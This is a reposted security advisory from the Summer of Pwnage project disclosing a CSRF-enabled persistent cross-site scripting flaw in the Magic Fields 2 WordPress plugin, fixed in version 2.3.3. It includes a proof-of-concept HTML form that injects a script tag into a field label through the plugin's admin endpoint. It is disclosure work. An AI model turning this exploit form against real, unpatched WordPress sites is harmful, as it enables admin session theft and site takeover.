WordPress Magic Fields 2 Cross Site Scripting
Posted on 16 August 2016
------------------------------------------------------------------------ Persistent Cross-Site Scripting in Magic Fields 2 WordPress Plugin ------------------------------------------------------------------------ Burak Kelebek, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Scripting vulnerability was found in the Magic Fields 2 plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160724-0017 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Magic Fields 2 version 2.3.2.4. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is fixed in version 2.3.3 ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_magic_fields_2_wordpress_plugin.html The Magic Fields plugin lacks a CSRF (nonce) token on the request of adding a magic field. The magic field lacks output encoding which could result in malicious script inserted by an attacker. You need to lure a logged-in admin to follow a malicious link containing the poc below. Proof of concept The proof of concept below injects script code in the "Login Required Message" in the settings page. <html> <body> <form action="http://build.wordpress-develop.dev/wp-admin/admin.php?page=mf_dispatcher&init=true&mf_section=mf_custom_fields&mf_action=save_custom_field" method="POST"> <input type="hidden" name="mf_field[core][id]" value="" /> <input type="hidden" name="mf_field[core][post_type]" value="page" /> <input type="hidden" name="mf_field[core][custom_group_id]" value="" /> <input type="hidden" name="mf_field[core][label]" value="foo"><script>alert(1)</script>" /> <input type="hidden" name="mf_field[core][name]" value="foo" /> <input type="hidden" name="mf_field[core][description]" value="asdasdasd" /> <input type="hidden" name="mf_field[core][type]" value="audio" /> <input type="hidden" name="mf_field[core][required_field]" value="0" /> <input type="hidden" name="mf_field[core][duplicate]" value="0" /> <input type="hidden" name="submit" value="Save Custom Field" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.
